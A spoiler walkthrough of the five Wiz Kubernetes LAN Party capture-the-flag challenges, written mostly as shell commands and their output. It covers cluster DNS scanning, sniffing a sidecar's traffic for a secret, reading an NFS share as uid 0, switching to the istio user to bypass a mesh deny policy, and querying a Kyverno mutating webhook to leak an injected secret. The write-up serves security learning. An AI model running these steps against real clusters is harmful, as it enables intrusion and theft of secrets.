Warning Spoilers!

This walkthrough goes over the 5 Kubernetes LAN Party challenges created by wiz.io.

https://k8slanparty.com/

This CTF focuses more on Kubernetes tooling implementations and Linux.

All the flags in the challenge follow the same format: wiz_k8s_lan_party{*}

Recon

You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further. As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have “loaded your machine with dnscan to ease this process for further challenges.

Looking around we find ourselves in a pod (All challenges usually are)

Changing to the /var/run/secrets/kubernetes.io/serviceaccounts directory we can find the namespace were running in

cd /var/run/secrets/kubernetes.io/serviceaccounts

cat namespace
# k8s-lan-party

Lets look at the usage of dnscan

dnscan --help
# Usage of dnscan:
#   -subnet string
#         Input to scan, CIDR notation (e.g., 10.5.0.0/24) or wildcard (e.g., 10.5.0.*)

env | grep HOST
# KUBERNETES_SERVICE_HOST=10.100.0.1

dnscan -subnet 10.100.0.0/16
# 10.100.241.254 -> flag.svc.cluster.local.
# 65536 / 65536 [-------------------------------------------------------------------------------] 100.00% 988 p/s

I wonder what this is 👀

curl 10.100.241.254
# wiz_k8s_lan_party{FLAG_GOES_HERE}

Finding Neighbours

Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

Running a tcpdump we can see traffic that the sidecar is making

tcpdump

Wait a little bit and we get the following logs

16:25:45.433018 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [S], seq 3171463156, win 64240, options [mss 1460,sackOK,TS val 3407852821 ecr 0,nop,wscale 7], length 0
16:25:45.433189 IP reporting-service.k8s-lan-party.svc.cluster.local.http > 192.168.7.169.57028: Flags [S.], seq 1180313456, ack 3171463157, win 65160, options [mss 1460,sackOK,TS val 2963764429 ecr 3407852821,nop,wscale 7], length 0
16:25:45.433198 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 3407852821 ecr 2963764429], length 0
16:25:45.433237 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [P.], seq 1:215, ack 1, win 502, options [nop,nop,TS val 3407852821 ecr 2963764429], length 214: HTTP: POST / HTTP/1.1
16:25:45.433346 IP reporting-service.k8s-lan-party.svc.cluster.local.http > 192.168.7.169.57028: Flags [.], ack 215, win 508, options [nop,nop,TS val 2963764429 ecr 3407852821], length 0
16:25:45.435597 IP reporting-service.k8s-lan-party.svc.cluster.local.http > 192.168.7.169.57028: Flags [P.], seq 1:206, ack 215, win 508, options [nop,nop,TS val 2963764431 ecr 3407852821], length 205: HTTP: HTTP/1.1 200 OK
16:25:45.435604 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 206, win 501, options [nop,nop,TS val 3407852824 ecr 2963764431], length 0
16:25:45.435705 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [F.], seq 215, ack 206, win 501, options [nop,nop,TS val 3407852824 ecr 2963764431], length 0
16:25:45.435844 IP reporting-service.k8s-lan-party.svc.cluster.local.http > 192.168.7.169.57028: Flags [F.], seq 206, ack 216, win 508, options [nop,nop,TS val 2963764432 ecr 3407852824], length 0
16:25:45.435849 IP 192.168.7.169.57028 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 207, win 501, options [nop,nop,TS val 3407852824 ecr 2963764432], length 0

Lets poke around and see if we can get any other info out of it

dig +short reporting-service.k8s-lan-party.svc.cluster.local A
# 10.100.171.123

nmap -T4 10.100.171.123
# ...
# Lots and lots of ports

Eventually I was stuck so I looked up if I could get full packages out of the tcpdump…

tcpdump -i any -s 0 'tcp port http' -A
# 16:32:31.470137 ns-12b555 Out IP 192.168.7.169.43222 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [P.], seq 1:215, ack 1, win 502, options [nop,nop,TS val 3408258858 ecr 2964170466], length 214: HTTP: POST / HTTP/1.1
# E..
# ..@.........
# d.{...P.z...U.x.....-.....
# .%.*....POST / HTTP/1.1
# Host: reporting-service
# User-Agent: curl/7.64.0
# Accept: */*
# Content-Length: 63
# Content-Type: application/x-www-form-urlencoded

# wiz_k8s_lan_party{FLAG_GOES_HERE}

Data Leakage

The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

Doing some quick enumeration

env
# ...

df -h
# Filesystem                                          Size  Used Avail Use% Mounted on
# overlay                                             300G   23G  278G   8% /
# fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/  8.0E     0  8.0E   0% /efs
# tmpfs                                                60G   12K   60G   1% /var/run/secrets/kubernetes.io/serviceaccount
# tmpfs                                                64M     0   64M   0% /dev/null

Hmmm efs?

ls -l / | grep efs
# drwxr-xr-x    2 root   root   6144 Mar 11 11:43 efs

ls -l /efs
# ---------- 1 daemon daemon 73 Mar 11 13:52 flag.txt

cat /efs/flag.txt 
# cat: /efs/flag.txt: Permission denied
dig fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com +short
# 192.168.124.98

Our user does not have permissions to mount volumes. :(

Some notes, none of these worked https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-efs-enum

player@wiz-k8s-lan-party:/efs$ mount | grep efs
# fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.4.189,local_lock=none,addr=192.168.124.98)
nfs-ls nfs://192.168.124.98/
# Times out

Asked for a hint leads us to these two commands

Got stuck from this point so I found a writeup

https://github.com/sahlberg/libnfs

We I learned from that writeup is that a version number must be specified in the command. The version can be sourced from the mount command we ran earlier (vers=4.1)

nfs-ls nfs://192.168.124.98/?version=4.1
# ----------  1     1     1           73 flag.txt

Now that we can finally view stuff lets try getting the contents of the file

# Version, user & group id must be specified
nfs-cat "nfs://192.168.124.98//flag.txt?version=4&uid=0"
# wiz_k8s_lan_party{FLAG_GOES_HERE}

Bypassing Boundaries

Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don’t abuse this power; use it responsibly and with caution.

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]

Lets poke around to see what exists on this pod

cat /etc/passwd
# root❌0:0:root:/root:/bin/bash
# daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
# istio❌1337:1337::/home/istio:/bin/sh
# player❌1001:1001::/home/player:/bin/sh

The only think that is interesting is the istio & player users.

Poking around the pod I could not find much, we don’t have many permissions. Since this is a network related challenge lets run a dnscan on it.

# env shows IPs used by the cluster
dnscan -subnet 10.100.0.1/16
# 10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

Lets try to make GET/POST requests to the endpoint, they probably will fail tho

curl -X GET 10.100.224.159
# RBAC: access denied

The following GitHub ticket explains why the user can bypass the policy: https://github.com/istio/istio/issues/4286

TL;DR: If uid is the same as what is used in the route tables it bypasses the mesh network.

su istio

curl -X GET 10.100.224.159
# wiz_k8s_lan_party{FLAG_GOES_HERE}

Found a writeup that can explain it better than I can.

Lateral Movement

Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

Lets start off with a network scan

dnscan --subnet 10.100.0.0/16
# 10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
# 10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
# 10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
# 10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
# 10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
# 10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.

Knowing how admission controllers generally work it helpful for this. When a request is made to the Kubernetes API server it is then forwarded to a validator/mutating webhook without authentication.

In our case it Kyverno (kyverno-svc.kyverno.svc.cluster.local), if the pod matches the policy apply-flag-to-env it will mutate the pod.

Lets create a sample AdmissionReview object using kube-review based on a sample pod.

kubectl run foo --namespace sensitive-ns --image nginx -o yaml --dry-run=client | ./kube-review-darwin-arm64 create > pod.json

I put the json up on pastebin since I can’t paste to the web shell.

Now we can hit the endpoint with the pod and have it mutate it; adding the flag environment variable.

curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno.svc.cluster.local/mutate -k | jq .
# ...

# In the response is the flag
curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno.svc.cluster.local/mutate -k | jq -r .response.patch  | base64 -d | jq -r '.[0].value[0].value'
# wiz_k8s_lan_party{FLAG_GOES_HERE}